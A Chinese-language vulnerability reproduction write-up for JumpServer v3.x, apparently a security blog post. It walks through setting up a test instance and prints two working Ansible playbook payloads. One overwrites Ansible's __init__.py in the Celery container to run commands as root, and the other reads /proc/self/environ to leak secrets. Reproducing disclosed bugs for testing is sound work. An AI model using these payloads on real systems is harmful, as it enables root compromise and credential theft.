漏洞描述
攻击者可利用 Ansible playbook 编写任意文件,从而导致 Celery 容器中的远程代码执行 (RCE)。Celery 容器以 root 身份运行并具有数据库访问权限,允许攻击者窃取主机的所有机密、创建具有管理员权限的新 JumpServer 帐户或以其他方式操纵数据库。
影响版本
v3.0.0-v3.10.11
漏洞复现
环境搭建
1 2 3 4 5 6 7 8 9 10 11
| cd /opt
wget https://github.com/jumpserver/installer/releases/download/v3.10.0/jumpserver-installer-v3.10.0.tar.gz
tar -xf jumpserver-installer-v3.10.0.tar.gz
cd jumpserver-installer-v3.10.0
./jmsctl.sh install
./jmsctl.sh start
|
访问http://hostname即可,默认用户名和密码为admin/admin
该漏洞利用首先需要一个合法的资产主机,在资产管理中创建一个合法资产主机,可测试连接是否正常。

再到账号列表中创建一个执行账号,该账号需要能登录添加的资产主机。

最后来到资产授权中,将添加的资产授权给登录用户,即后续要进行漏洞测试的用户。

首先创建一个Playbook

提交

更新其活动空间为payload

1 2 3 4 5 6 7 8 9 10 11
| - hosts: all tasks: - name: create python file on remote host that executes a command shell: | echo 'from ansible.release import __version__, __author__ __import__("os").system("id > /tmp/pwnd")' > /tmp/rce - name: write that file at a known location that gets reloaded at the next ansible execution fetch: src: /tmp/rce dest: /opt/py3/lib/python3.11/site-packages/ansible/__init__.py flat: true
|
运行作业


成功执行命令


CVE-2024-40628
将活动空间的payload更换为下面这样就行
1 2 3 4 5
| - hosts: all tasks: - name: read file from local host = celery using file lookup plugin ansible.builtin.debug: msg: "{{ lookup('ansible.builtin.file', '/proc/self/environ') }}"
|